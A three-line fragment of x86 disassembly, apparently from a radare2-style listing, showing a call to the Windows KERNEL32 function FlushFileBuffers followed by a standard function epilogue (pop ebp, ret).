call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
pop ebp
ret